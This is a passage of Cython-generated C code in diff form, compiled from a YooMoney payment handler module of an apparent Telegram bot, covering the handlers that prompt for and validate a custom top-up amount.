NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yoomoney_pay_9process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_9process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 171, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3, __pyx_codeobj__14, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 171, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":175 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":176 + * ): + * builder = InlineKeyboardBuilder() + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__15) < 0) __PYX_ERR(0, 176, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_yoomoney) < 0) __PYX_ERR(0, 176, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":178 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":180 + * await callback_query.message.answer( + * ", .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yoomoney_pay.py":178 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__17, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 178, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 178, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":183 + * ) + * + * await state.set_state(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 183, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_yoomoney); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 183, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 183, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 183, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yoomoney_pay.py":171 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yoomoney_pay.py":186 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 186, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 186, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 186, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 186, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 186, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yoomoney_pay_12process_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_12process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 186, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4, __pyx_codeobj__18, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + Py_ssize_t __pyx_t_7; + Py_UCS4 __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L6_resume_from_await; + case 2: goto __pyx_L7_resume_from_await; + case 3: goto __pyx_L8_resume_from_await; + case 4: goto __pyx_L9_resume_from_await; + case 5: goto __pyx_L10_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 186, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":188 + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/yoomoney_pay.py":189 + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount <= 0: + * await message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":190 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * " . , :" + */ + __pyx_t_3 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 